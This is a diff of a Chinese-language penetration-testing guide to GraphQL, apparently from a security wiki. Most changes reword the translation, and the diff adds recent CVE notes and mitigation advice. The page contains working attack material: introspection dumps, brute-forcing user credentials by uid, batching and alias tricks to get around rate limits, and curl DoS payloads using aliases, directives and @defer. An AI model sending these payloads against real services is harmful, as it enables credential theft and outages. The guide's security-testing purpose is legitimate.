diff --git a/src/network-services-pentesting/pentesting-web/graphql.md b/src/network-services-pentesting/pentesting-web/graphql.md
index f39712624..f8b54e4c3 100644
--- a/src/network-services-pentesting/pentesting-web/graphql.md
+++ b/src/network-services-pentesting/pentesting-web/graphql.md
@@ -4,13 +4,13 @@
## 介绍
-GraphQL 被 **强调** 为 REST API 的 **高效替代方案**,提供了一种简化的方式来从后端查询数据。与 REST 相比,REST 通常需要在不同的端点之间进行多次请求以收集数据,而 GraphQL 允许通过 **单个请求** 获取所有所需的信息。这种简化显著 **有利于开发者**,减少了他们的数据获取过程的复杂性。
+GraphQL 被 **强调** 为 **REST API 的高效替代方案**,提供了一种简化的方式来从后端查询数据。与 REST 相比,REST 通常需要在不同的端点之间进行多次请求以收集数据,而 GraphQL 允许通过 **单个请求** 获取所有所需的信息。这种简化显著 **有利于开发者**,减少了他们的数据获取过程的复杂性。
## GraphQL 和安全性
-随着包括 GraphQL 在内的新技术的出现,新安全漏洞也随之而来。一个关键点是 **GraphQL 默认不包含认证机制**。开发者有责任实施这些安全措施。没有适当的认证,GraphQL 端点可能会将敏感信息暴露给未认证的用户,构成重大安全风险。
+随着包括 GraphQL 在内的新技术的出现,新的安全漏洞也随之而来。一个关键点是 **GraphQL 默认不包含身份验证机制**。开发者有责任实施这些安全措施。没有适当的身份验证,GraphQL 端点可能会向未认证的用户暴露敏感信息,构成重大安全风险。
-### 目录暴力攻击和 GraphQL
+### 目录暴力攻击与 GraphQL
为了识别暴露的 GraphQL 实例,建议在目录暴力攻击中包含特定路径。这些路径包括:
@@ -23,11 +23,11 @@ GraphQL 被 **强调** 为 REST API 的 **高效替代方案**,提供了一种
- `/graphql/api`
- `/graphql/graphql`
-识别开放的 GraphQL 实例可以检查支持的查询。这对于理解通过端点可访问的数据至关重要。GraphQL 的自省系统通过详细说明模式支持的查询来促进这一点。有关更多信息,请参阅 GraphQL 关于自省的文档:[**GraphQL: A query language for APIs.**](https://graphql.org/learn/introspection/)
+识别开放的 GraphQL 实例可以检查支持的查询。这对于理解通过端点访问的数据至关重要。GraphQL 的自省系统通过详细说明模式支持的查询来促进这一点。有关更多信息,请参阅 GraphQL 文档中的自省:[**GraphQL: A query language for APIs.**](https://graphql.org/learn/introspection/)
### 指纹识别
-工具 [**graphw00f**](https://github.com/dolevf/graphw00f) 能够检测服务器使用的 GraphQL 引擎,并打印一些对安全审计员有用的信息。
+工具 [**graphw00f**](https://github.com/dolevf/graphw00f) 能够检测服务器使用的 GraphQL 引擎,并打印一些对安全审计员有帮助的信息。
#### 通用查询
@@ -39,25 +39,25 @@ query{__typename}
Graphql 通常支持 **GET**、**POST** (x-www-form-urlencoded) 和 **POST**(json)。虽然出于安全考虑,建议仅允许 json 以防止 CSRF 攻击。
-#### 反向工程
+#### 反向查询
-要使用反向工程发现架构信息,请查询 `__schema` 字段。该字段在所有查询的根类型上可用。
+要使用反向查询发现架构信息,请查询 `__schema` 字段。该字段在所有查询的根类型上可用。
```bash
query={__schema{types{name,fields{name}}}}
```
-通过此查询,您将找到所有正在使用的类型的名称:
+使用此查询,您将找到所有正在使用的类型的名称:
.png>)
```bash
query={__schema{types{name,fields{name,args{name,description,type{name,kind,ofType{name, kind}}}}}}}
```
-通过这个查询,您可以提取所有类型、字段及其参数(以及参数的类型)。这将非常有助于了解如何查询数据库。
+通过此查询,您可以提取所有类型、字段及其参数(以及参数的类型)。这将非常有助于了解如何查询数据库。
.png>)
**错误**
-了解 **错误** 是否会被 **显示** 是很有趣的,因为它们将提供有用的 **信息。**
+了解**错误**是否会被**显示**是很有趣的,因为它们将提供有用的**信息。**
```
?query={__schema}
?query={}
@@ -67,8 +67,8 @@ query={__schema{types{name,fields{name,args{name,description,type{name,kind,ofTy
**通过自省枚举数据库模式**
-> [!NOTE]
-> 如果启用了自省但上述查询未运行,请尝试从查询结构中删除 `onOperation`、`onFragment` 和 `onField` 指令。
+> [!TIP]
+> 如果自省已启用但上述查询未运行,请尝试从查询结构中删除 `onOperation`、`onFragment` 和 `onField` 指令。
```bash
#Full introspection query
@@ -184,7 +184,7 @@ name
```javascript
query={flags{name, value}}
```
-请注意,如果**查询的对象**是像**字符串**这样的**原始****类型**,如以下示例所示
+请注意,如果**查询的对象**是**原始****类型**,例如**字符串**,如以下示例所示
.png>)
@@ -204,9 +204,9 @@ query = { hiddenFlags }
看起来它会使用类型为 _**Int**_ 的 "_**uid**_" 参数进行搜索。\
无论如何,我们已经知道,在 [Basic Enumeration](graphql.md#basic-enumeration) 部分提出了一个查询,显示了所有所需的信息:`query={__schema{types{name,fields{name, args{name,description,type{name, kind, ofType{name, kind}}}}}}}`
-如果你阅读提供的图像,当我运行那个查询时,你会看到 "_**user**_" 有一个类型为 _Int_ 的 **arg** "_**uid**_"。
+如果你阅读提供的图像,当我运行该查询时,你会看到 "_**user**_" 有类型为 _Int_ 的 **arg** "_**uid**_"。
-因此,通过一些轻量级的 _**uid**_ 暴力破解,我发现 _**uid**=**1** 时检索到了一个用户名和密码:\
+因此,通过一些轻量级的 _**uid**_ 暴力破解,我发现 _**uid**=**1**_ 时检索到了一个用户名和密码:\
`query={user(uid:1){user,password}}`
.png>)
@@ -219,13 +219,13 @@ query = { hiddenFlags }
**查询字符串转储技巧(感谢 @BinaryShadow\_)**
-如果你可以通过字符串类型进行搜索,例如:`query={theusers(description: ""){username,password}}`,并且你**搜索一个空字符串**,它将**转储所有数据**。 (_注意这个例子与教程的例子无关,对于这个例子假设你可以通过一个名为 "**description**" 的字符串字段使用 "**theusers**" 进行搜索_)。
+如果你可以通过字符串类型进行搜索,例如:`query={theusers(description: ""){username,password}}`,并且你**搜索一个空字符串**,它将**转储所有数据**。 (_注意这个例子与教程的例子无关,对于这个例子假设你可以通过一个名为 "**description**" 的字符串字段使用 "**theusers**" 进行搜索_)。
### 搜索
在这个设置中,一个**数据库**包含**人员**和**电影**。**人员**通过他们的**电子邮件**和**姓名**进行识别;**电影**通过它们的**名称**和**评分**进行识别。**人员**可以互为朋友,也可以拥有电影,表示数据库中的关系。
-你可以通过**姓名**搜索人员并获取他们的电子邮件:
+你可以**通过** **姓名**搜索人员并获取他们的电子邮件:
```javascript
{
searchPerson(name: "John Doe") {
@@ -233,7 +233,7 @@ email
}
}
```
-您可以**搜索**人员**通过**姓名并获取他们**订阅的**电影:
+您可以通过**姓名**搜索人员并获取他们**订阅**的**电影**:
```javascript
{
searchPerson(name: "John Doe") {
@@ -250,7 +250,7 @@ name
```
注意如何指示检索该人的 `subscribedMovies` 的 `name`。
-您还可以 **同时搜索多个对象**。在这种情况下,搜索了 2 部电影:
+您还可以**同时搜索多个对象**。在这种情况下,搜索了 2 部电影:
```javascript
{
searchPerson(subscribedMovies: [{name: "Inception"}, {name: "Rocky"}]) {
@@ -283,15 +283,15 @@ name
```
### Mutations
-**Mutations用于在服务器端进行更改。**
+**变更用于在服务器端进行更改。**
-在**introspection**中,您可以找到**声明的** **mutations**。在下图中,"_MutationType_"被称为"_Mutation_",而"_Mutation_"对象包含了mutations的名称(在本例中为"_addPerson_"):
+在 **introspection** 中,您可以找到 **声明的** **变更**。在下图中,"_MutationType_" 被称为 "_Mutation_",而 "_Mutation_" 对象包含变更的名称(在本例中为 "_addPerson_"):
.png>)
-在此设置中,**数据库**包含**人员**和**电影**。**人员**通过其**电子邮件**和**姓名**进行识别;**电影**通过其**名称**和**评分**进行识别。**人员**可以互为朋友,并且也可以拥有电影,表示数据库中的关系。
+在此设置中,**数据库** 包含 **人员** 和 **电影**。**人员** 通过他们的 **电子邮件** 和 **姓名** 进行识别;**电影** 通过它们的 **名称** 和 **评分** 进行识别。**人员** 可以互为朋友,并且也可以拥有电影,表示数据库中的关系。
-一个**在数据库中创建新**电影的mutation可以如下所示(在此示例中,mutation被称为`addMovie`):
+一个 **在数据库中创建新** 电影的变更可以如下所示(在此示例中,变更被称为 `addMovie`):
```javascript
mutation {
addMovie(name: "Jumanji: The Next Level", rating: "6.8/10", releaseYear: 2019) {
@@ -304,7 +304,7 @@ rating
```
**注意查询中如何指示值和数据类型。**
-此外,数据库支持一个 **mutation** 操作,名为 `addPerson`,允许创建 **persons** 及其与现有 **friends** 和 **movies** 的关联。重要的是要注意,朋友和电影必须在数据库中预先存在,然后才能将它们链接到新创建的人。
+此外,数据库支持一个名为 `addPerson` 的 **mutation** 操作,允许创建 **persons** 及其与现有 **friends** 和 **movies** 的关联。重要的是要注意,朋友和电影必须在数据库中预先存在,才能将它们链接到新创建的人。
```javascript
mutation {
addPerson(name: "James Yoe", email: "jy@example.com", friends: [{name: "John Doe"}, {email: "jd@example.com"}], subscribedMovies: [{name: "Rocky"}, {name: "Interstellar"}, {name: "Harry Potter and the Sorcerer's Stone"}]) {
@@ -334,12 +334,12 @@ releaseYear
```
### 指令重载
-正如在[**本报告中描述的漏洞之一**](https://www.landh.tech/blog/20240304-google-hack-50000/)中所解释的,指令重载意味着调用指令甚至数百万次,以使服务器浪费操作,直到可能导致拒绝服务(DoS)。
+正如在[**本报告中描述的漏洞之一**](https://www.landh.tech/blog/20240304-google-hack-50000/)中所解释的,指令重载意味着调用指令甚至数百万次,以使服务器浪费操作,直到可能发生拒绝服务攻击(DoS)。
### 在1个API请求中批量暴力破解
此信息来自[https://lab.wallarm.com/graphql-batching-attack/](https://lab.wallarm.com/graphql-batching-attack/)。\
-通过GraphQL API进行身份验证,**同时发送多个不同凭据的查询**以进行检查。这是一种经典的暴力破解攻击,但现在由于GraphQL批量处理功能,可以在每个HTTP请求中发送多个登录/密码对。此方法会欺骗外部速率监控应用程序,使其认为一切正常,没有暴力破解机器人试图猜测密码。
+通过GraphQL API进行身份验证,**同时发送多个不同凭据的查询**以进行检查。这是一种经典的暴力破解攻击,但现在由于GraphQL批量处理功能,可以在每个HTTP请求中发送多个登录/密码对。这种方法会欺骗外部速率监控应用程序,使其认为一切正常,没有暴力破解机器人试图猜测密码。
下面是一个应用程序身份验证请求的最简单演示,**一次有3个不同的电子邮件/密码对**。显然,可以以相同的方式在单个请求中发送数千个:
@@ -359,7 +359,7 @@ releaseYear
### 绕过GraphQL自省防御
-为了绕过API中对自省查询的限制,在`__schema`关键字后插入**特殊字符**被证明是有效的。这种方法利用了开发人员在试图通过关注`__schema`关键字来阻止自省时在正则表达式模式中的常见疏忽。通过添加像**空格、换行符和逗号**这样的字符,GraphQL会忽略这些字符,但正则表达式可能没有考虑到,从而可以绕过限制。例如,在`__schema`后面带有换行符的自省查询可能会绕过这样的防御:
+为了绕过API中对自省查询的限制,在`__schema`关键字后插入**特殊字符**被证明是有效的。这种方法利用了开发人员在正则表达式模式中的常见疏忽,这些模式旨在通过关注`__schema`关键字来阻止自省。通过添加像**空格、换行符和逗号**这样的字符,GraphQL会忽略这些字符,但正则表达式可能没有考虑到,从而可以绕过限制。例如,在`__schema`后面带有换行符的自省查询可能会绕过这样的防御:
```bash
# Example with newline to bypass
{
@@ -403,17 +403,17 @@ Inspect/Sources/"Search all files"
file:* mutation
file:* query
```
-## CSRF in GraphQL
+## GraphQL中的CSRF
-如果你不知道什么是 CSRF,请阅读以下页面:
+如果你不知道什么是CSRF,请阅读以下页面:
{{#ref}}
../../pentesting-web/csrf-cross-site-request-forgery.md
{{#endref}}
-在外面,你将能够找到几个 **未配置 CSRF 令牌的** GraphQL 端点。
+在外面,你将能够找到几个**未配置CSRF令牌的**GraphQL端点。
-请注意,GraphQL 请求通常通过使用 Content-Type **`application/json`** 的 POST 请求发送。
+请注意,GraphQL请求通常通过使用Content-Type **`application/json`**的POST请求发送。
```javascript
{"operationName":null,"variables":{},"query":"{\n user {\n firstName\n __typename\n }\n}\n"}
```
@@ -425,15 +425,15 @@ query=%7B%0A++user+%7B%0A++++firstName%0A++++__typename%0A++%7D%0A%7D%0A
但是,请注意,Chrome 的 `samesite` 标志的新默认 cookie 值为 `Lax`。这意味着 cookie 仅会在 GET 请求中从第三方网站发送。
-请注意,通常也可以将 **查询** **请求** 作为 **GET** **请求** 发送,并且 CSRF 令牌可能不会在 GET 请求中进行验证。
+请注意,通常也可以将 **查询** **请求** 作为 **GET** **请求** 发送,并且 CSRF 令牌可能不会在 GET 请求中被验证。
-此外,利用 [**XS-Search**](../../pentesting-web/xs-search/index.html) **攻击** 可能能够利用用户的凭据从 GraphQL 端点提取内容。
+此外,利用 [**XS-Search**](../../pentesting-web/xs-search/index.html) **攻击** 可能能够从 GraphQL 端点中窃取内容,利用用户的凭据。
有关更多信息 **请查看** [**原始帖子在这里**](https://blog.doyensec.com/2021/05/20/graphql-csrf.html)。
## GraphQL 中的跨站 WebSocket 劫持
-类似于利用 GraphQL 的 CRSF 漏洞,也可以执行 **跨站 WebSocket 劫持以利用未保护 cookie 的 GraphQL 身份验证**,并使用户在 GraphQL 中执行意外操作。
+类似于利用 GraphQL 的 CRSF 漏洞,也可以执行 **跨站 WebSocket 劫持,以利用未保护的 cookie 进行 GraphQL 身份验证**,并使用户在 GraphQL 中执行意外操作。
有关更多信息,请查看:
@@ -465,11 +465,11 @@ query=%7B%0A++user+%7B%0A++++firstName%0A++++__typename%0A++%7D%0A%7D%0A
## 使用 GraphQL 中的别名绕过速率限制
-在 GraphQL 中,别名是一个强大的功能,允许在进行 API 请求时**明确命名属性**。这个功能对于在单个请求中检索**同一类型对象的多个实例**特别有用。别名可以用来克服 GraphQL 对象不能具有多个同名属性的限制。
+在 GraphQL 中,别名是一个强大的功能,允许在进行 API 请求时**明确命名属性**。这个能力对于在单个请求中检索**同一类型**对象的**多个实例**特别有用。别名可以用来克服 GraphQL 对象不能具有多个同名属性的限制。
要详细了解 GraphQL 别名,推荐以下资源:[Aliases](https://portswigger.net/web-security/graphql/what-is-graphql#aliases)。
-虽然别名的主要目的是减少大量 API 调用的必要性,但已识别出一个意外的用例,其中别名可以被利用来对 GraphQL 端点执行暴力攻击。这是可能的,因为某些端点受到速率限制器的保护,旨在通过限制**HTTP 请求的数量**来阻止暴力攻击。然而,这些速率限制器可能没有考虑到每个请求中的操作数量。鉴于别名允许在单个 HTTP 请求中包含多个查询,因此可以绕过此类速率限制措施。
+虽然别名的主要目的是减少多个 API 调用的必要性,但已识别出一个意外的用例,其中别名可以被利用来对 GraphQL 端点执行暴力攻击。这是可能的,因为某些端点受到速率限制器的保护,旨在通过限制**HTTP 请求的数量**来阻止暴力攻击。然而,这些速率限制器可能没有考虑到每个请求中的操作数量。鉴于别名允许在单个 HTTP 请求中包含多个查询,因此可以绕过此类速率限制措施。
考虑下面提供的示例,它说明了如何使用别名查询来验证商店折扣代码的有效性。这种方法可以绕过速率限制,因为它将多个查询编译成一个 HTTP 请求,可能允许同时验证多个折扣代码。
```bash
@@ -490,18 +490,18 @@ valid
### Alias Overloading
-**Alias Overloading** 是一种 GraphQL 漏洞,攻击者通过为同一字段重载查询中的多个别名,导致后端解析器重复执行该字段。这可能会使服务器资源过载,从而导致 **Denial of Service (DoS)**。例如,在下面的查询中,同一字段 (`expensiveField`) 被请求了 1,000 次,使用别名强迫后端计算 1,000 次,可能会耗尽 CPU 或内存:
+**Alias Overloading** 是一种 GraphQL 漏洞,攻击者通过为同一字段重载查询,使用多个别名,导致后端解析器重复执行该字段。这可能会使服务器资源过载,从而导致 **Denial of Service (DoS)**。例如,在下面的查询中,同一字段 (`expensiveField`) 被请求了 1,000 次,使用别名,迫使后端计算 1,000 次,可能耗尽 CPU 或内存:
```graphql
# Test provided by https://github.com/dolevf/graphql-cop
curl -X POST -H "Content-Type: application/json" \
-d '{"query": "{ alias0:__typename \nalias1:__typename \nalias2:__typename \nalias3:__typename \nalias4:__typename \nalias5:__typename \nalias6:__typename \nalias7:__typename \nalias8:__typename \nalias9:__typename \nalias10:__typename \nalias11:__typename \nalias12:__typename \nalias13:__typename \nalias14:__typename \nalias15:__typename \nalias16:__typename \nalias17:__typename \nalias18:__typename \nalias19:__typename \nalias20:__typename \nalias21:__typename \nalias22:__typename \nalias23:__typename \nalias24:__typename \nalias25:__typename \nalias26:__typename \nalias27:__typename \nalias28:__typename \nalias29:__typename \nalias30:__typename \nalias31:__typename \nalias32:__typename \nalias33:__typename \nalias34:__typename \nalias35:__typename \nalias36:__typename \nalias37:__typename \nalias38:__typename \nalias39:__typename \nalias40:__typename \nalias41:__typename \nalias42:__typename \nalias43:__typename \nalias44:__typename \nalias45:__typename \nalias46:__typename \nalias47:__typename \nalias48:__typename \nalias49:__typename \nalias50:__typename \nalias51:__typename \nalias52:__typename \nalias53:__typename \nalias54:__typename \nalias55:__typename \nalias56:__typename \nalias57:__typename \nalias58:__typename \nalias59:__typename \nalias60:__typename \nalias61:__typename \nalias62:__typename \nalias63:__typename \nalias64:__typename \nalias65:__typename \nalias66:__typename \nalias67:__typename \nalias68:__typename \nalias69:__typename \nalias70:__typename \nalias71:__typename \nalias72:__typename \nalias73:__typename \nalias74:__typename \nalias75:__typename \nalias76:__typename \nalias77:__typename \nalias78:__typename \nalias79:__typename \nalias80:__typename \nalias81:__typename \nalias82:__typename \nalias83:__typename \nalias84:__typename \nalias85:__typename \nalias86:__typename \nalias87:__typename \nalias88:__typename \nalias89:__typename \nalias90:__typename \nalias91:__typename \nalias92:__typename \nalias93:__typename \nalias94:__typename \nalias95:__typename \nalias96:__typename \nalias97:__typename \nalias98:__typename \nalias99:__typename \nalias100:__typename \n }"}' \
'https://example.com/graphql'
```
-为了缓解这个问题,实施别名计数限制、查询复杂性分析或速率限制,以防止资源滥用。
+为了减轻这一问题,实施别名计数限制、查询复杂性分析或速率限制,以防止资源滥用。
### **基于数组的查询批处理**
-**基于数组的查询批处理** 是一种漏洞,其中 GraphQL API 允许在单个请求中批处理多个查询,使攻击者能够同时发送大量查询。这可能会通过并行执行所有批处理查询来压垮后端,消耗过多的资源(CPU、内存、数据库连接),并可能导致 **服务拒绝(DoS)**。如果对批处理中的查询数量没有限制,攻击者可以利用这一点来降低服务可用性。
+**基于数组的查询批处理** 是一种漏洞,其中 GraphQL API 允许在单个请求中批处理多个查询,使攻击者能够同时发送大量查询。这可能通过并行执行所有批处理查询来压垮后端,消耗过多的资源(CPU、内存、数据库连接),并可能导致 **服务拒绝(DoS)**。如果对批处理中的查询数量没有限制,攻击者可以利用这一点来降低服务可用性。
```graphql
# Test provided by https://github.com/dolevf/graphql-cop
curl -X POST -H "User-Agent: graphql-cop/1.13" \
@@ -509,7 +509,7 @@ curl -X POST -H "User-Agent: graphql-cop/1.13" \
-d '[{"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}]' \
'https://example.com/graphql'
```
-在这个例子中,10个不同的查询被批量处理为一个请求,迫使服务器同时执行所有查询。如果利用更大的批量大小或计算开销大的查询,这可能会使服务器过载。
+在这个例子中,10个不同的查询被批量处理成一个请求,迫使服务器同时执行所有查询。如果利用更大的批量大小或计算开销大的查询,这可能会使服务器过载。
### **指令过载漏洞**
@@ -521,7 +521,7 @@ curl -X POST -H "User-Agent: graphql-cop/1.13" \
-d '{"query": "query cop { __typename @aa@aa@aa@aa@aa@aa@aa@aa@aa@aa }", "operationName": "cop"}' \
'https://example.com/graphql'
```
-请注意,在前面的示例中,`@aa` 是一个自定义指令,**可能未被声明**。通常存在的一个常见指令是 **`@include`**:
+请注意,在前面的示例中,`@aa` 是一个可能未声明的自定义指令。通常存在的一个常见指令是 **`@include`**:
```bash
curl -X POST \
-H "Content-Type: application/json" \
@@ -546,29 +546,92 @@ curl -X POST -H "User-Agent: graphql-cop/1.13" -H "Content-Type: application/jso
-d '{"query": "query cop { __typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n} ", "operationName": "cop"}' \
'https://example.com/graphql'
```
+## 最近的漏洞 (2023-2025)
+
+> GraphQL 生态系统发展非常迅速;在过去两年中,多个关键问题在最常用的服务器库中被披露。当你找到一个 GraphQL 端点时,因此值得对引擎进行指纹识别(参见 **graphw00f**)并检查运行版本与以下漏洞的对比。
+
+### CVE-2024-47614 – `async-graphql` 指令过载 DoS (Rust)
+* 受影响:async-graphql < **7.0.10** (Rust)
+* 根本原因:对 **重复指令**(例如,成千上万的 `@include`)没有限制,这些指令会扩展成指数数量的执行节点。
+* 影响:单个 HTTP 请求可以耗尽 CPU/RAM 并使服务崩溃。
+* 修复/缓解:升级至 ≥ 7.0.10 或调用 `SchemaBuilder.limit_directives()`;或者使用 WAF 规则过滤请求,例如 `"@include.*@include.*@include"`。
+```graphql
+# PoC – repeat @include X times
+query overload {
+__typename @include(if:true) @include(if:true) @include(if:true)
+}
+```
+### CVE-2024-40094 – `graphql-java` ENF 深度/复杂性绕过
+* 受影响: graphql-java < 19.11, 20.0-20.8, 21.0-21.4
+* 根本原因: **ExecutableNormalizedFields** 未被 `MaxQueryDepth` / `MaxQueryComplexity` 工具考虑。因此,递归片段绕过了所有限制。
+* 影响: 对嵌入 graphql-java 的 Java 堆栈(Spring Boot, Netflix DGS, Atlassian 产品…)的未经身份验证的 DoS 攻击。
+```graphql
+fragment A on Query { ...B }
+fragment B on Query { ...A }
+query { ...A }
+```
+### CVE-2023-23684 – WPGraphQL SSRF to RCE chain
+* 受影响: WPGraphQL ≤ 1.14.5 (WordPress 插件)。
+* 根本原因: `createMediaItem` 变更接受攻击者控制的 **`filePath` URLs**,允许内部网络访问和文件写入。
+* 影响: 经过身份验证的编辑/作者可以访问元数据端点或写入 PHP 文件以进行远程代码执行。
+
+---
+
+## 增量交付滥用: `@defer` / `@stream`
+自 2023 年以来,大多数主要服务器 (Apollo 4, GraphQL-Java 20+, HotChocolate 13) 实现了由 GraphQL-over-HTTP WG 定义的 **增量交付** 指令。每个延迟补丁作为 **单独的块** 发送,因此总响应大小变为 *N + 1* (信封 + 补丁)。包含数千个小延迟字段的查询因此会产生大量响应,而攻击者只需一次请求 – 这是一种经典的 **放大 DoS** 和绕过仅检查第一个块的主体大小 WAF 规则的方法。WG 成员自己标记了这一风险。
+
+生成 2 000 个补丁的示例有效负载:
+```graphql
+query abuse {
+% for i in range(0,2000):
+f{{i}}: __typename @defer
+% endfor
+}
+```
+缓解措施:在生产环境中禁用 `@defer/@stream` 或强制执行 `max_patches`、累积 `max_bytes` 和执行时间。像 **graphql-armor** 这样的库(见下文)已经强制执行合理的默认值。
+
+---
+
+## 防御性中间件 (2024+)
+
+| 项目 | 备注 |
+|---|---|
+| **graphql-armor** | 由 Escape Tech 发布的 Node/TypeScript 验证中间件。实现了即插即用的查询深度、别名/字段/指令计数、令牌和成本限制;与 Apollo Server、GraphQL Yoga/Envelop、Helix 等兼容。 |
+
+快速开始:
+```ts
+import { protect } from '@escape.tech/graphql-armor';
+import { applyMiddleware } from 'graphql-middleware';
+
+const protectedSchema = applyMiddleware(schema, ...protect());
+```
+`graphql-armor` 现在将阻止过于深层、复杂或指令过多的查询,以保护上述 CVE。
+
+---
+
## 工具
### 漏洞扫描器
-- [https://github.com/dolevf/graphql-cop](https://github.com/dolevf/graphql-cop): 测试graphql端点的常见错误配置
-- [https://github.com/assetnote/batchql](https://github.com/assetnote/batchql): 重点进行批量GraphQL查询和变更的GraphQL安全审计脚本。
-- [https://github.com/dolevf/graphw00f](https://github.com/dolevf/graphw00f): 指纹识别正在使用的graphql
-- [https://github.com/gsmith257-cyber/GraphCrawler](https://github.com/gsmith257-cyber/GraphCrawler): 可用于抓取模式和搜索敏感数据、测试授权、暴力破解模式以及查找给定类型的路径的工具包。
-- [https://blog.doyensec.com/2020/03/26/graphql-scanner.html](https://blog.doyensec.com/2020/03/26/graphql-scanner.html): 可作为独立工具或[Burp扩展](https://github.com/doyensec/inql)使用。
-- [https://github.com/swisskyrepo/GraphQLmap](https://github.com/swisskyrepo/GraphQLmap): 也可以作为CLI客户端使用以自动化攻击:`python3 graphqlmap.py -u http://example.com/graphql --inject`
-- [https://gitlab.com/dee-see/graphql-path-enum](https://gitlab.com/dee-see/graphql-path-enum): 列出在GraphQL模式中**到达给定类型的不同方式**的工具。
-- [https://github.com/doyensec/GQLSpection](https://github.com/doyensec/GQLSpection): Standalone和CLI模式的InQL的继任者
-- [https://github.com/doyensec/inql](https://github.com/doyensec/inql): 用于高级GraphQL测试的Burp扩展或python脚本。_**扫描器**_是InQL v5.0的核心,您可以分析GraphQL端点或本地自省模式文件。它自动生成所有可能的查询和变更,并将其组织成结构化视图以供分析。_**攻击者**_组件允许您运行批量GraphQL攻击,这对于绕过实现不佳的速率限制非常有用:`python3 inql.py -t http://example.com/graphql -o output.json`
-- [https://github.com/nikitastupin/clairvoyance](https://github.com/nikitastupin/clairvoyance): 尝试通过使用一些Graphql数据库的帮助,即使在禁用自省的情况下也获取模式,这些数据库将建议变更和参数的名称。
